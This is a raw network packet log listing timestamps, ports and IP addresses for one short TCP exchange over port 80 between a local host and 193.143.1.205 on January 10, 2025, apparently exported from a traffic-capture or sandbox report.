Jan 10, 2025 22:07:35.160530090 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160542011 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160552025 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.160552979 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160566092 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160576105 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.160582066 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160592079 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160602093 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.160603046 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160626888 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161364079 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161377907 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161391020 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161401987 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161415100 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161423922 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161426067 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161442041 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161453962 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161465883 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161469936 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161478043 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161489010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161490917 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161500931 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.161501884 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161524057 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.161984921 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162086010 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.162144899 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162163019 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162174940 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162185907 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162198067 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162209988 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162211895 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.162220955 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162233114 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162236929 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.162245989 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162257910 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162270069 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162272930 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.162292004 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.162899971 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.162940025 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163070917 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163089037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163100958 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163115025 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163124084 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163126945 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163140059 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163150072 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163153887 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163166046 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163176060 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163177967 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163188934 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163203001 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163213015 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163243055 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163862944 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163875103 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163887978 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163901091 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163909912 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163919926 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163925886 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163932085 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163942099 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.163961887 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.163985014 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.165663004 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.170696020 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.180226088 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.180257082 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.180267096 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.180279016 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.180291891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.180316925 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.180349112 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.216116905 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216136932 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216159105 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216166973 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.216171026 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216185093 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216196060 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216204882 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.216208935 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216219902 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216232061 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216243982 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216244936 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.216259003 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.216262102 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.216298103 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.245508909 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245524883 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245537043 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245567083 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.245733023 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245770931 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245774031 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.245790005 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245801926 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245812893 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.245856047 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.245878935 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251247883 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251269102 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251283884 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251306057 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251311064 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251326084 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251352072 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251425982 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251446962 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251456976 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251462936 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251476049 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251487017 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251502037 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251528978 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.251646042 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251657963 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251668930 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.251717091 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281012058 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281023979 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281035900 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281052113 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281054974 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281064987 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281078100 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281083107 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281090021 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281130075 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281147957 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281164885 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281176090 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281202078 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281318903 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281339884 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281352997 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281373978 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281498909 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281508923 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281519890 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281532049 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281533003 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281546116 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281555891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281560898 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281563044 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281574965 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281582117 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281586885 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281596899 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281599998 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281608105 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281620026 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281626940 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.281626940 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281658888 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.281677008 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282104969 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282115936 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282126904 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282139063 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282151937 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282151937 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282164097 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282167912 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282176971 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282195091 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282334089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282371044 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282432079 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282444000 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282454967 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282464981 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282475948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282484055 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282486916 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282500029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282510996 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282533884 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282676935 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282742977 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282871008 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282890081 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282902002 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282918930 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282926083 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282931089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282942057 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282953024 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282953978 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282967091 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282979965 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282989025 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.282989979 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.282999992 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283006907 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.283011913 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283023119 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.283024073 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283035040 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283046961 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283058882 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.283080101 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.283088923 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.283103943 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286036968 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286053896 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286066055 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286077023 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286087990 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286098003 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286098957 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286111116 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286123037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286128998 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286134005 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286144018 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286144972 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286159039 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286164045 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286170959 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286179066 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286183119 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286195040 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286202908 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286228895 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286510944 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286523104 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286555052 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286643982 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286654949 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286667109 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286679029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286689997 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286714077 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286828995 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286848068 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286859989 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286902905 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.286967039 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286978960 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286990881 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.286998987 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.287004948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.287017107 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.287018061 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.287028074 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.287045956 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.287175894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.287188053 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.287208080 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.287570953 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.302464008 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302483082 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302495956 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302508116 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302516937 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.302520037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302532911 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302546024 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302552938 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.302561045 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.302675009 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.303709984 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.331625938 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331672907 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.331722975 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331743002 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331756115 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331768036 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331778049 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.331779957 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331793070 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331799030 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.331804037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.331826925 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337583065 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337598085 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337613106 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337634087 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337656021 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337723017 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337734938 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337748051 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337759972 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337771893 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337783098 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337785959 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337806940 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337810993 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337820053 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337826967 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337841988 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337855101 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337861061 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337876081 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337886095 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337898016 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337902069 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337910891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.337922096 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.337943077 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385092020 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385279894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385303974 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385318041 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385327101 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385329008 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385340929 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385353088 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385358095 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385365963 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385377884 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385379076 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385390997 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385401964 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385413885 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385420084 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385431051 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385432005 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385443926 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385447979 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385456085 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385468960 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385476112 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385482073 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385493994 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.385503054 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.385505915 CET	80	49710	193.143.1.205	192.168.2.7
